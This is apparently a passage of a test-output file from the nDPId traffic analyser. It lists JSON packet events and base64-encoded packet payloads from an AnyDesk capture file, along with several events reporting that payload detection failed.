E67Y\/lyJzLjJrEMkLbKw8Vzb+WTKte34r5az4yt4QRP5zS8CN7kTY1j2Xa6DUyxpvvpUbn4pL+fQyoqY\/5JTUfP0Y0vcEWPLiZrnn4trDIDYY5EpL7qLbh3wDcU9zJS16MdUjLiXgorZALYsrfDQ9NZU5QjNyFr6hwkVvMmgEaK2NoHmix\/2yBRqt\/mXb1BveY1VMOSL0lFI7A2+FKfF8f9ufw6IuLOQoq8dIBGPngNSKTeG67lgINyqtniq16sZkEQ+m+cwOtJzpzoLdJ\/PajjHsnkCUT8E+5QZHmNteyG0xhWzn83EKRU4yuXQWixpzIIhwK8dSTtaJSEXNqerwoXq3QeOGwCroT5uvud\/sHrllWMWczzsLb5OyYLKt17cBntvthO3YtWpCG1isHOgAH9fGnvYLRahGMpmpJrxpV4a5ZqXS5mRC3n24u4tpAgBe\/yLMYtoK7W77q1bSQUZYJfkyKlWX8lCR08D4vj8kZCOBUKcALtI+co8\/ccHA0YF18f5OSvjaiE+1RKi7uqSx2hHlqo9jIXf9vnYbZNOKMs4qJ6\/uZCsVcEjq6vAP6jF5TpHaP2K3iud6wPpzW0psIxVvcHAal9UcvG+dnageTNrviB5C88IQDIrMxKrkuqGgCmZFmFzDTJDIsQT\/dfK5aXFHtq7xGXlCBoAzNaw1XLKVVviVysCE8urO8FOptE5WrijG5cLYSwAI\/flhvfyZbttnYDUhEr8HVLiRoI\/0PUrbzmoGKFZlZ81uN4NHAAIf8ZJJERK3e6jNBuFRs3nNj3KXI5cc+fC6kB4z2NNkZ8Evdhw5+29RKh\/\/9NOmnsLFxXZOVTCbrS\/cob3Alg5yehxGl0t9MqYYf40iQ0+A0zvu8xSJMyUkeweI7HwvOBQ28XXRppG7XjRHQ4WKPJ1AdYQ5aQtk3T37prVFUxnooM4f1XlcwjcPDZMrDl5LU0JsGy1vZFKv7fOAD9nck2b0hU7HNgjwtTe4tOe7omx7syH5Du8RbOJllcLDuvjvrjWHyVCQzS9csl5ZWIUbErQbYOFO1BruZ+UCqTJwXaJ3aP27Nb3YIIsDNx83SCiPv7izUrjMLPokyxKspbCYA27uKByLreEPQQ7kvbs5ZrrBiPbi5\/b1bxuzI2WQ9sMQeuDI1j9OPhPhKoXkmsekLYAfJS67zGtaXv3D60nOk9fMWAb5yfF79cMTVxVeDs3nVjjCpMTxi\/JZWsu5Btp3bUb76Z\/lyeRx15uAgocxMrJ1HLqnHMDsbKkfq\/efqvUcGXtSdqgaLaAqnp0ZNzkSZBPs1D9CNDvFtVjIebBehmosVuantt3zQgGf\/Ys0HQmld8gPxFj6Y9Pe0ga6kn8ueAZvSpdtqJPOUaTKaQOJcO6eoJ67fg4dXsSq\/nGxMhLBv43VLDqok2nYoL\/\/9YEOsDCx1X4fFDVTo7M7F6E\/24d0S\/QTR+PdF7XhW3Er4BoJb27lSxtgUIRXJ3sXMLBjMUwmnOkpWBiGu0o16CvymbL4J7ifyXI5\/GdN+PqppTopv+nX33K7jpzGuGcTy4n8H5jM8AhHPcu9\/HAuzFzUCSRfSKJxyYc+bhDUL+XxsfXfBU5+STkqUf+3FgWmHwJG9mso2iotnT66TowxJ668z5QR\/Yvb5V82iHE5Zs10DEP1Q6HUsv6mloxKpsrHHv+4KS0LBvAjJ6zFocZxfTZW0Cp0eF\/BI4GQIDoygxne1YPMM9vb3gDDZ0qCr7uKty\/hzDLJd6IfEtkrDS2jKYptDZorALJVZOls+aHOrNJKaFikIE9oWSG\/YbYwDSZkklpuBeooB1vZIA0ijg\/nG8\/UWb4+Cv\/PeCvh3JGeD9CFNvWfd1xAIrWR\/JRKia6VWO7VmI4O4XkxKREY6soVecQJDKWod4R\/XgJ1lTdK1YzwQ0A2TXZTJG7Nu+tZtw0dtl+Y5Gx91j+nVw8cktfC4LKEe4H7fbEhYvwwLXjGCBKXUZz71b6TR5AOxlSXpDgkf+2aVAHLkU6K759xLdJhT\/ZCCis6ndepJyUT+uGyI1W9AoVZnhpSLEoyDIMcE3LKaTrKiio0oTZq+nOUxDEBo9+bs+k1ftgWwXkMXn2lBTJPgT4rW5ZThbN+lXVf8jxfO\/vC0HJje6YmNY6sCtQ8eLH3UP32dPGZySDJEiPLvGRBoinQNnafWrZ9hSBP04q2kqB3XAPiKYjcFd68LR8ai4PAXR7NMbqDkrYtO8y4qFOX8sjq+2V6vQg7EcRRJ2UAShIhaz6fNlWPdSIxiLKpbgA776A2hD9gkvwJiUocNNiRMAlgXbM53z5uYJrX6iIwdDMtLGT\/ajIJ5E7AhCQ2TFOJH3VnhwLrWwTLRzaudZXROK1KsV5YE5xdA5yK3KK0SOtE1809ljaHTpG1019KPgv\/de44L\/jIZ1uSgy2YIFd1\/dE8YBxpObqRiFkOXxP5pXc6pPBK\/j7qusLClijZI0LkyVBY90B1RNmcuKUBrBmzt0Ogh5WBAuXbsgte19+fpCP0Qc\/KY05c\/p9+UiAoQM2u65Lv85Rije1P6AMdPGquiMzGWFBIwq2vjtaWWDh5FzfkyR6BSX51U1V6QhzRSR3l0wKaReY906bqfz2B9XqC5I3XZWgIkT7Roh1JwljObbgvto53X0cHd\/Z85NEMKTFDDLs+joK6uBSP2zf6dXQyuwyTS49QVtVMkMHTVUDKVTMAafH\/2qOksEFKbPNe4Y0dYiXmKStvU8V5DRt03CnaNpxe8bCzzloLD+\/I81QEtXy6v9p7spwPrq2rv8xL87dY0hvYx3WcI\/Yi\/e9eb8oSf5BuGHtSoVucG0rsVN1kZLV8ILSobLIR3NXsYaLYeUEf2Yf\/K0KsGw\/XtQzo50sP8EOF8XSg98S7AAE7iX5qXZ+SdtJboXgXWRyHccm+MqDDAMgGUnRNxqfkfu8LIg7SvMYY+s0vgyGTK9FOOv3Rv5zgR0OQ9Ey0VVGzj3qEPSijgQx\/ClRamjzE8daCoOOtHZCM1NBTL4b\/HlkNTKPANTz+Du3mGvFhoQHnj5kTHx2RzJPO44p4+onuDiBbOSxB59tVlfPatI+b\/oP4bv9DEpqiH+ZoG4HMSlrrNTh9Zovsg5ZmbvVLgYSHdhe0moxEzi3\/B1oqx7ohdIdydOihNeZLEyBPP0J1HD4QBKdqZBLeKEtBZdC1H5mMUqBjtVSDjGK2h8F2C46v8NJsKJift1oGw5NeKZZhXB7kGQp17Zw9qU8yVc+jiKS5NH4F9AqY95zUiV2\/R3X\/tFMgtwWJH62Dt5rKYmvmbVzvzh97OKwKBJmZJvmULS0YpVcoNxduqgAuzs7dMpMG3JVLd\/ALtCJDzCeaItot5Pu2ucwRxQwXnlu5V8kEAbN\/WaXfYh7+fBz6mu5dSHA3f3G8aCqZwnfUt1TRErm8sv+dp4mVsBoLqsMmJXlZ+vb4uRrMqFV7y0yvtyzkgdNW0+\/Bl5bIqJS09vK3G5MP6iB2HhMqYgWOJA6\/Z+A+tkJlR25nw\/icNtRpspmURciVylecSMIwPVfdXr2YTg+1B0B9N9FF0jDfQeFPLsW\/N2UinQAaH4kUvFDhNEg+vYaVIMXGKDNOhueXndGEb7ymWmIxC6QndolWJzIBh9Ajo7bIRL\/UGYEFa\/evO+xxLqVq26gDpZPnw4N7VRuDy\/0Zb31FX8IFZv62leqRyUcxCBf5oZFhKVSVHRjsrUdUS9Qc3HLEo+0sRR6lmyL0t\/T8+CmlkVVHx1wMvDVCEv0kFSMesGh2xzEpAVWeNrZzgbwjQ9ERmcZGL0eAGZR40o\/DGxJo+lk77MAhU1ttoCeiJMRr96bgWUYwpDax+n6XxX2ham+Se+ExOkiD9fVbVgOeBiGOU9Pi5kC5w\/rNx\/KTzI1+ZYkmDDotO5T+UsYad\/yNdD7ajlhze2CT5Zpz3u78mc3945dmdBuFLDw3Lq89780PHSSwoK5HZSRHaBa0NIz8uO\/zktovk3Yh8SnFkWfchLOq9YEOBvdzNl+z7gMbUvP5Zp8vFkGeK5bks0i\/rtJ7T+vjR4quCjFz6jY+lSUPfOGmVcMuhnMkDpCTq33qK\/7GNAiMLfwY5NADaIc6oSs87p0U64J3pQl1HOtb1Vk2Iyoa5HOI\/xdC+swupIITDedhBg4T9px3L3b89Fv06nOFf1ajsOSQwBvetS3LpVyxpGWk5\/18N+23eJTBTlaHFLm\/o06JkIP89sKedw1U4UcETYhDjAPaI+RExGpWnxfT8aMnmOmhvXmGU7kHh5kGVnDjzd+Z0XytK1jFGfUGZhpuBQDxFx5BsYaqxDrAcV5O3U2ZGjKUYLvojKkZTCmDpFBLigQcOAQeEL0GP2d906XRMGsAvZBE\/VCDr\/KjMxBTDyjndwNIAT0WE1bApO1vKSTQ5vPcjteqyuVCkbpEdJqkAYuI96PMD8FNDMTNbyHe2M32x9zId2wX8BzPzBmxucDHtXXgnyqyY\/BgXf2x3V4kzaJjxXnhT0j0ulIEfg+fB1Zri6nuuC\/t3VRyJGklFSoBg4\/QeA8seYVmIAZZhnOhMShJ9BmRbERuJHDqwkEibi5PcJ9KdXPbC1lmaQS0HsiIciMvO852tco\/a+sJxolc5ahnAgy5DEPm0QZQdg2ClQVD+gFajwJydM0aDfKR1HRNnf\/4yLKqkxzdqoHVjAOvBVAYL8sZVgsAtJwkPYq5qaGEGQnAcvbyyjCi2s34z+3yz9BIITZ+OJRvMk7N3rjEIK54tqksvdugoyGKii4se8qWRbrPWTEGAvfI2tLb2c0\/eI89fQEmT2nhH5AdcRuTZ+SZNIhw3EicjdqJzahlTBsj+MG1fEJN9qnbRJQ\/VjtGaMhK0sTkKIThf8RRrFvMGii9U2SVuw6qdUKG\/LC8BLE3CNPBYlT5BGefcX5NiJz2orgCksp5zaGfPE2U5Vks8zBu6DpWMO5gAL7qplXnVQKLIHeX7qlA67zyTKqh8vv+ZqoPUOMFJbKtAuqwYjzLVh4JJTWM2lLzALLlhRQXZIN+bz5eZvBVMl0MYrKrip1ghddpp7vCT7d6OmfJkBgqMZjTpfHn985VNyv5YeNoqWwMX9AXy018c1IziwWhrfvQbNdYrjlGS+4zbbtgE1Foe2q64YLKfemF0ZnMPNDqCxZPRgsctTzjZcgSfEngW3\/3V68Dpw5QvYNcu70fh5XXCDBzIAyn+GNsrWhMx753vxc8RXeKpkQ2JkZQ1Pr+URQaJnEQK7DB05Tfa2lFCQPc\/wlKGEMDHH7No3l9xC9TqzsCK7ugw44SK3CI3ClONbg2QMJmwkzoMF9peEg91ZlxjbqaA\/OXVR2wFkFEgPi8AyxjwXxnLkn427nKLtcwaifYib4HW\/gcxslTMF7rIU1rf+rbRlG+OIoZbRNEBsfvoAR4wr4p5vCnPVgHXHrEotUzoFwyFV0+slYyniNcq\/rQovVJnuUItmGh0FVeNtI0\/ZrVeGC9s4ZDvbT\/P3LcAeo566CtBHmAHlWQcNgyJhR3XoGV2I6axReT2B+1r55NQgbp4WLh7zkXtUWc71tgE1IBnladaAQP23pKw8y72jHtJEljjlesDeHcxzPwwQxDZXXkFp6qN8lgMjXk7qjqjA\/vCyjTfPZ7WdzH4b1aQtOBKoBmWsh6qRy5jyqZB8Vs3rfyHbi\/idDPsdrKomXnLbDEVRo\/FrjiHwauozFnMTk3xFfcb2c6hS6BbhUBk5UEFJiIBRftirxQwLtDd3xg+28poRWQqvdLaagGFi3NkaqUQYzcKkOxsAvHB6XrUFQXJeXGZqxz3OHeldSUB7cTq7zL0N+syZWIIjMyHXk\/XEj0mWjpxiRNEMqMFrooq0X0QuhepDuZ+ZByLfk\/TUiYyD\/olgoMHhngJt9zCOxvtzpbdCAPXI7Lx6OuwBa+muK0CbGeMJekxjR5yEVcSR4oiSgauNSzFnpaC1uAmskERCYzx\/Livd5+1cLGMgBV3OZ3XKWcIqTcmtQQx\/KrHPnFgwjmg4WE9eTHpOPae9KwkmguroGYMYw+dOXCn5TJ5SRA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":160,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07831{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":165,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":735603,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAduBAAIAGAADAqAG7wKgBstOUG56PGqTnWcP+aVAYA\/6ExAAAFwMDFXdZ4hNO+msUxAKSCUfbuba4PgPgVyoRmpfcWepeTFtWg3OmHDoXbDAEIA671I\/tG+FV5yoeSMRCDNW4dGXm3jwT0EJMrzc23L3U2YYBlpWmWnLubbmsws5yTIcVDf9HPYYReK2nM9b3V\/omLNMIX4oRjqqsa6Tasdb3AQPnhkHNw8AYjjg16rkF7fm++G\/1bAVcSntHH\/cyztyANPvyy6+\/paEzQ3Vo80KDXrjRLzADJz2zdAVBueRHi2pldwdBFKdZ12\/pCfAcMsflp4P7gpjRBiPBXbZuYDhy+znHQoP4jAuzlxAjQmpK8tVREzLU2qYqZvJorWDzC3\/yeVxQVRAV8rvThMxtpyoZyvA2Pz5qrVMQ\/\/t9tqsbp8aOqihkeX4nJzb8pEngcWrRAd\/gRmbnHd1+FkCRV3+Io4FfoPRF0WqutJB9BREFQN3xG7rPjg8mU4BNDkhVVQnnS52JxZCKlnFO9YhbxM5wbhrcmJr7P3AyXeA2i\/Zsxic2GOFi8gQZFFVZUiUVMEKVGDvUQW09kcsEiB1FqHeVG3WIY66s9K4\/SNb\/LtIiUrsgND31sXOh7rwFvh45Lb1leSWVaYUzCTp+DiSK1JhCNOtc1ki2wjjJYPbstnxAPt26mGkZXjbovLvCqETce9iuVy2JXD2R741nkthyzLT4Ut1euU6OdQ6mr3SoFvSFmpERbPkmdSJPbEKDVCIMN7p2MsdQJYo6zQPr09ctNiB5RA+Lb9tduQanivib0SVJ61mAU608D71x5\/l0d5ie0dFzvYzF6r4N2UMQyQR8cJakOmGXZq0LIEH3eMwly1rStlWmEmNcXi0w4\/JOKOoPhoBMtaQnrN2\/l9RJTknWCcSIS1U+LVA+T+M5iBbvFAPJGArbtJyLM3GZn3\/asV2hASLpIxSmkhE5BWlTBSnWiM396e0rbz+3tZ5vN2oaMUNO1gkVnKdZmnarTPqRBCn+\/DQZDYmfx5yznq9FJqPdMZTTE21PxgFh0ta3GdxJWpRogZ8vgTx+cZL7KGyNIjyMK2dEnOl0MTDpsazQydTzhnqueBKYOWlmeXVaouUtqAMjPwg\/G5brxVhs46FtrnlPbPezoeiCXnK\/YY\/zgQN+w90LgI1OTpkBDebbfVplVZICBMA45K0VeShPxE1hq0DsgE1GZGPBnqCbNRlhr5GTLPbuuAejlyjkBB3+rNtmAFUGy\/FHCkdN0wAYxep0\/PHDTjN9YIzd1jsXT7cJp9sJLTVihEbO2B+kcF6F7OnW0K3Xm6QOz2wIdiLiOXd0XJrcYnx8T+VYoAdX8QEJ\/vUKeoTPcYc2IxyMjyV8IxAI5HBT8pAM0tP4cwOHcC7ChJDGJcFEV4fxAojYmd2f6sGs8lW9mOgCQBm8+NnVFwLZHWUmBXiB\/u\/wDcwCEy8I0YIhk0Pq3MtlPWapDw3KphZp9oFenHlg1CsfIqeLRqISOJ9w4abxWYygztaFnJjE2hMaUCNUd0QPqivDmPpsktTuZN5VP25sr33MSCkJEBw76UJbsO+6S57C6twkeeHcG8VXhC+c9gj\/fWargFn9wojAAh7pdgNBczqIM3QR5a7hLdbJfstu2+u\/ve5p7rWJ9hDRk21w\/OIj\/GxZ\/XV0gudqxPtW1nzpgQa4uOyItQ9oVSYf81kceJ8l1hzVf+iB7pwQiw6t8QDgTgCe++R15I+t4h+krbGIap3PcRALPl+bfkuRWUnRu\/86YoWkoiLdh8J2BtqVqGIxVj904GHSFnlP5QKVfjobwt1+pLkhUdwgnnJ2juEbY6upRuGgMwEGX3B4PrtMW0HkyOd5zt0SKPU1rnIFep9nXq4RK5MJBBFmjWx5OK0AqRW+WpAY0aZYkjfrhr5DDkm6SU3Ols7eqRKizrdgQPUkjaGV0ygieW2Is4KAZVqSZvWHvg4\/Y2Zq5sfEJSIFGsmzx9SFJupPvKsw2W46cGX3kP3Z6wTtbEdKx6ewyYe4gDoo6p26DVxq5My3B9Rd3RIg1iENTUkMIEcr07QF\/UhFMAnf+fraqJvrEsXEoWK9Pyf0Y7FmWRn27JTQsj\/F9XBq5c3pDNvDBx7jz0qDR31Zp2HkRl3MoWPBq+bTvRvb8MSom8ChUZO44tGb2+6uN+tdnQhj8T0oqihNS5WFu2iZpFFFlMMiVvQvaO8wNxJnDHNXHfUDNgmUCfpEnKfc3ps2SSJADmgCLHBFdeOTt3r3qfrVYz9IJx5a5LzLr\/tK5iRR3Khdkdbtef324u11lRHl1W4pvBoPuESd0G554mm1FSXFfAz21Pzg277hbo\/fVDBJ8tHn66qtD0JGhhWdTi\/PSwuJDXJd\/ATQfKaiLfgSxKVbN3cMUispNa9tl5GC\/DaZ6vbKSxe1OAff27fwtkyDL2MRj0Cj21N2nLFpWQfyZAB\/KoxZvo9phiSbMonUxh3hbUiB+j4x8EgGiFNVswv7pNjmew3Gb\/7Ozqzirb5gqkupnlfCrE7XnFk4QCkhkKRR8nMzdHCxlktHq97wlAp7tAjviNrArb2jqPbuEC6RgSxEcWxPROofIgUxg44PhakjawtQj9ZlS0A4yD79FZKCxKhJtlMdOTDcdOBpFcByfJNk421sn9lh8btE9IhK5SNRAn7LMHeBsFUWe7\/UAUBc\/9PS4Jj066FGeV3sJbGWsRn8i5C9+\/lccUE3f15qLRH9D3azyayGSF78iX2ueF8eosjtUCMrxCFisVCRQ\/\/UP6HY24fzHSVILyeliSywv74MFGGUHTLWLV7U0E1DYzWPn3yZqgh+kd2fkKbFJmabK0U0K2\/b0EIQ17ZqZYM07i08jZxIne3YGBBksPFN8HvylcvpqAv\/64xdtUj8YgEFeKrSfk8mqIlyHn3jBqr3XC4ks\/+dVbDz4tYhuv3jz+sLh8lAMTY001WyiqGCSYDjT5kLSm3roynqZAVhBtyA6l7gzX15V0OHG0xeIUrGiWr2q+hNWVgv+5O6SNxSzL3EofsM62lic5IQQNHc1l0g2cmDnokZrP2yOEEuGVE53bF7+gNgE92l6Lovaa+lAcubEv9Jeh7sF\/Kmf76tKBdhqMN8+GX1CNwMYys4aSEzq6gLT9H7cTkUtn7nKYetmZeZQw6hd5wf5WKajPI7gpW6A0sA9m0BXinf5j1hlubVjWuMK+M82Bdl0Vb\/JF5VbJ4Zcv9z9HDC6QXoJROvP2JkcnBqaUvSaxzocmN99lzNprMnrSSQxplWZ2O56azuET79UD4hCkJt8YO\/61AP89Dn38NgaqWS3Ztg0UDXqfUAkXMfDVZzHf\/R7W4P63TAjFDDVoEjrW0C67tXR1ymmxQpry70FY8LPAB2jYlwuQ0S\/az4RbAWnJsc5cVGj\/x0Yw+YcTs8Zz9FSLIOrOTTgrPkk1\/NtSfh\/e5\/4JIeO11CZ17U4G+sFbclzOoBDFuyEcMTrZhsytGVayEzPaSHuS2F7CGcrTiDtZTideYxVJd4vfn1\/M\/S3ABiW0Nlz+Cvy4tcdDmBsJKoqBvoukBwhqI5N6jDLgqBTf6T9j++M868uacdKzhkj3XelOFgxjuewTE+g2cR7EbV+c7o3uPP8jRjk\/W11DBru16mvJwl3\/ptxhv5qTagiaZWyx3NjE8cSBTSlOLKQ\/JUoLNCiB6Jte1pmwiLB4HWcoqymcyAG1VeAyw7JYvoBpWroEvIgDsGmmE5lFycPSOMirdQvK5dJJ0NbS1SBZPmY6P7lJ6ixYCISsXXO8NtwAb2Dgich\/1WPC4jfSFs\/Ouz9qaAVesuNd7CuEYm\/MAL2E8aSn5QiDyydFIPeJr8SoIhGMjzDMCTkB5PjqFJKEoUQfP3OJYSD6BqJSraBa1h5MaxARWP8lnEYxNkkKrFwtqSDm9RhIno0Jfa3DYyY9hiZfJ+ezwBfw1ijURKLtsYTu+z3XTsM3H4yto2+aP+Le16\/VtIwh85fJNGxvDKuir3g8zkOqh\/fGZgvtwEQyw6WjKloXvW\/AKzGwe0RW49AWn\/FrGthnfX59QcIBv7aIMT0+Q3YOklCc35bMnpQCLuFn9vRvEEm\/yqhfsqQ2SX1YGW3sML\/Rm8jrMXAXcnUFtdtwf8tglfph\/hM+R\/p7w0b9+cI8xh2iGj3pB2JwMVhprN0lwwwnla7Q7gU8pBEh3cPoq7Ve4Ah1xywCYA939pkLd5DVZSvSsqBlTra8zmi+Px7PfU0Ib8iksjI1op\/LWtRWXPVN3leVupwi38cErtABr+0xIKjzh6qsRR5Cjz1Pq\/Edc3cxhovyEiQlOKs3s8eANS4cNlkEOTJX1S69fhHA4RCNHRTk6MYen+zjibA08bQMchpQNWEFYhtREEFDAbrIKE4SR1uEdo+AwV7+T2C8X\/qTp5xClVhEdksGy64jWgBaGXkGfYSau\/w3ehRM74\/t1aY1Z0kv39wrfqX4FtPdCV56tQxLkmORkU8KMjAM4cmfxChvb4h2gcGNToTTeJ3np0SdpjEZPfcVXDXbttloxUTxg7yLd0EbtsmZE4SjQNketKzJzdHR35VsITMT7FHswqxL6k2fUU\/i1QDk+JvMpkVTJK3gsdmlZ81MtZErCUOPiBsY7ZuRVb3mak0mJvcySgK3RWpnd5qVMYFtSgGnCwjvWVvr7Pw\/CGTMi5RQqBuzRBs7S8UIJj+Zl+6ahbqivJao4GvDHQTu5vA1CDCdmRMsMnHW8W+gVWxyq6VO06zeg7HzXeEBi9r0ajoEiqsiwHDQAw+c5yWTWgR7E7q2gedY5ubOCaaR21\/KoeXBQGJQ2MQFaZgc3yesO5iLpxIF5mrkFHYJRdW+6L+alz4JT4SN4SaaGwVbNqr7ARrNuwRtRz4tIGCf+ld828EfN6M8Xl1h8i2UZy9KDxAV7kBkx2d6t\/TAMLhLzVFwInFEYwijym2OQj0VPw3wiuTX+atm8v2LPQC9tUGgMRd5gtW4hzuVKn2SZUhZNs1tMYy95skTQZJdRPwnyJBjXWMJIRW2AcYC3\/0LKj8PzN8bYWLEcRrLuzVN16fcjdi0d9NLKqZdy4DzBhg67VAOgH8qBdjs4pZ+xuxm+nT\/4E16eQJsnpy8VpX3l6kN5iOfU5CgN\/+s7bMymp0C\/EOoQqXhTPm1hljkNv72kx7KgqiFlfZAv\/bY+PvRW\/cS2BbTPyYe+k02AYHzCQ359WShum0ItHHvJ5MyxP329kAspKspmUd81tsNWdAu4te9PLwWH6eGB7Iw9N4SjzkoOJyAwhee4zClqW3RXG3ORqTowI1v06RnfZpsLxLQQaAu6TT6GZduuuM9b6R7EVt6CQ4q+OQw6vvRzQSQTwLtcZHQ5fUNl2MmKfcESyznmeRGzxZTUyTIMOLiGXavjLgqiz2b8EjpPS4YNXNjHCGeSV77WX8puk6x98h\/r+egWvuVADQWcwCqGbcXRcvwj1RmF6oDqfIDDjzx78QhAPZhr3gyA5n74b+N788VEbZmWOyOtnEiYqX6ToHBB\/UBTkAudAVJRKmE1v1Z+xNhUHHP\/ZZKDL\/M5fh1YCRkSdAWJ3Q3VuX22r2Xm7lzgnLSkqXiIH2qLWW3\/QIkgujLl+AOCgpVtgwQq9xsfU6puPDxhlwNAUWYGAeNe7n7l7j0cV2S8LF2RYNq9GvlfgFqXswWR8\/\/uxv50GjKOvIfZq33hk07AZ8TAlaCz0HVLrQvs0bWRLhxp49uREo7pWSl6+V106YLHndrHqeZz+swDv0awVcd8hw5gVOSwXicBXoXMjIPC7Wchacf5oSX8W8U7u5D2sGtxX4ne77VwNhNqO9Vm\/FP+5pxxiftpwFbFtVA1plVP0RRo5xgIBydZ8V5xXXh8wPkNb4MJ6ZC5lW188+2K5sfau9d8p5thwTOreK7bT1udiTHi\/D+LHpD3DBxz5pv95+1rVKvVA9KyKvZoa6nCN4IfI95K5e7exBOH001K7A0g2S706Xhb+qUFcx2BFceWE\/OT2WTZ3xLJT+EYDXXFaIVlmEO9sN+pGZ+tWX5u92rcf\/T7c2DZ1gYFUcO4PunY1yo0gwoBWnv7n2Bq6gWIvoQua7qmHsEEKvyea2BnHwv0c8c0C8mhOe2Z43yRrY\/iKQ4pUiXwMYIg2oxmvUIU5RJQHCTL2umS123mJtrN48H5zQGMEQ\/GybSLZcjjKEt4KKMUOD7R4mVlL506Gwp0miUnaptUaLYrx6ATOSGSX440os87m4tTeF1\/\/lZ5IFPhAryMKGFGnDJhntiEbqnGH0DBIyPu1YcC49hB3G+fk0bk0E5gEkwJkM7k8aAsz6Lib8YUDFpWObt\/XwUuPMS5\/ZRyFzstumvibUlfAtKtZ3jJleBCL4tUMSHywvkWO4R7vtRwLO0ejKWFgN1lyv9T0VHNWaha\/s3Pwtx2ZnXb33rolgqUMUgSLLUdt6VLwSDAK338N96EJAu2qd7MTaVvCI8Ai9e7ddac8nOis8vRBahT5LqzQy24FcKrSjrtolx7MVPV9s4P59kJ0eMbR3navDpvHTDpYRAKNLtn0D71q1+i4k2Dppza96IrwUAJ8MKr1J7mb\/sL2doCQtOXLlbKeMjhZZoCO17KBIBTd4UpolCL+Pyr7QzkHgZQPb2BOyqw6cAk\/wHQ7S4vcr+MsVBrxW12yFmcoDGX5316OWDlFy\/umnm4hQfYFawpvKaMQRqv3q3Cvl+FUiDMh3Iplhi1eqqsCvEFmlM7+1it1TccL7k3cHR4Z5VJTk67e9F9ONlH+8xMN27\/OQsh7yD6utMaIsIrJOEeJvrfLZUV4UmJ\/xkIxs2xhVRDDNzM4WbTOB0rV2u1FaGp5d65RtcJN3tCADleLXAVZJl92SKGmLob5OQwwnfLVgEmmGSSOygn9HsW5H5Kka\/OqAZsWy+rF2BZ1rx6l7nezmRR74tyewwBwg76DkV82nFxfouiWJ\/0P\/jbuHwEnezlpooMTHxMPraT7v3n2xAf5ClNhpMNwmqWpotA7q0rbn4fnSoYffDH5NCDm4qeBNY9hr5Led9Km1mvN+XD2FuVxNPVKYxNV9o0uFg1U7EDdy29GvnfjEgIDAxkHzA8G+nGsojP+YUqRi9ANecNzwCkftDeQ1pQWSeEexgs3XsEc6NdImyvFKsLlsfCkVGTAw9pzpOw\/h9+dQnCp0a8TCsq9gAX04AIsrNkMgMQvOU8vV7mehJTgKSgxJ4UJjUvfTwDuGdnHKYci5A1EvlO74GuWPkdzB0Y+oonSCpGrpzZ2aPjEjT0IzCP5DR20siNf8KMi6YIdkd4DgsSpc0s6zUiDY3Y0H\/1aqpvsm1ETe6tkzXBQC2Up+OLem1XeFVbVeENxlIuttQVJHG5eYIT9Ud0m22r1YUQCMA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":165,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07836{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":169,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":736090,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAduRAAIAGAADAqAG7wKgBstOUG56PGrpjWcP+aVAYA\/6ExAAAFwMDFXdZ4hNO+msUxRdbrvJKklL5TndEZRnWUfQQh8GfZ\/mbB5yB9ndUrHVpU8M6SO\/vLsZmtLPVRyyzYFW+QYRRpq62gcQoV+MRB\/EoiASkDkk9y34n+XcAsXzYeE4S6qgVWKiiZagRlTY5jhU9SaBHql6BMEyZY03tzWLv8cEtkUwGNKWa+8JWm0qrElA5kiPIIZV6p5BPXVziuOTlpc2fa3ko\/absNPJINuBVijROGgqlslxfwM3JcG\/6h\/jkCnI0RUA4SfhzLOSt9Yxpyo\/f\/lXjbjHMELhJUHonkN+m0iIwCUp7pvycJSeMe8amqOy3rcOOvMwfPrHlOwuGySOnsqU80ouefuGL7Zb2uFMYo7Yntxf1YrHjT2ZUaHd0jw4cpysG+d0YDRSRARvot9TJlW2d16Gbvvv0zLXsNuF6M7T1Gj3fmra14hy7ccil2i8HTx7pAeB1lslGlNwL1af08MRhWy0mG0\/hRjKQmftQY2biwD5E7hBe2A9ucP9byzvJWb7XXUYbahh1ZtW6liGuYTurKwZC+thWXFrb\/FzGLVc+JM3ZCSEHYXU\/C5NobX13zxapH68khnQsA+VudWD35Iar7Rbqs\/UTfg++yOho0hxrQ9WUZl\/lUHVDgA+i6kjo7ZMX5HtmUfg+hzsueB40z688oai7LqlbnHcx7WYY9d+e1zBErISSBhA+0wwq+mMZju7NILgnBgCTOVSrv8\/VIcLZ6JZPKX9yGIQuwWolXRlWukBxY+vF3mYQOT3Q64vNUoTjdFaGlWDoSlmLiiM6+FFJiZIVrCizMyQblZld0Hw5iaeaQIz4dK4zfNXWuqZ4I2xWCMtwTR+WKrX7EBGEQKcAZj6pyw9p8BBr\/Spzuhgulchz0zAYGD1xca+H9xMLPWUhWP8wvwaiZ1T4vAuv1FYEBPYas9J4tU9Zk1W+StVY2hVnyGG5RZNZ1ovXSLASyap5Z0LeFhbyof4phZIPLnTNRHXVgU+yW8hSSw+OJLCywL88qXobxyg2gQScF1gDBdoIEXDcyMRV+4RwAJOjDDT8rlS7mZappyB9omhDa7dttTiq3fgR+7L2XjPEhCVbPMjeblMGBo1l0nWoFfHnbjUA80pQPm8XoaP4DloP5m61CETCHOuO5QdV\/DP5a4hUIxvUAgT6vs48UKWUAlYQ2UNS\/vQemCQnCW89bPgPzCTK81CzsiIkb07oUmgTHPo0jrLmouSqjOKApxVMUKy6d8JRUeN1wZWX6cWBKtdABqoBc\/rgXQuWjlQm\/UfErvbGD7\/6CNPPGcuKho1rsShLUYtbA2cSqoBR6wJ3CEdV5v23LYY7gZsD61TpQcT8Thw4VRq9NwSVYCAA8Ejc8qAviS+H5pfe+vPzyOyku9OkRk7NOi+FRyV5ru2\/TIG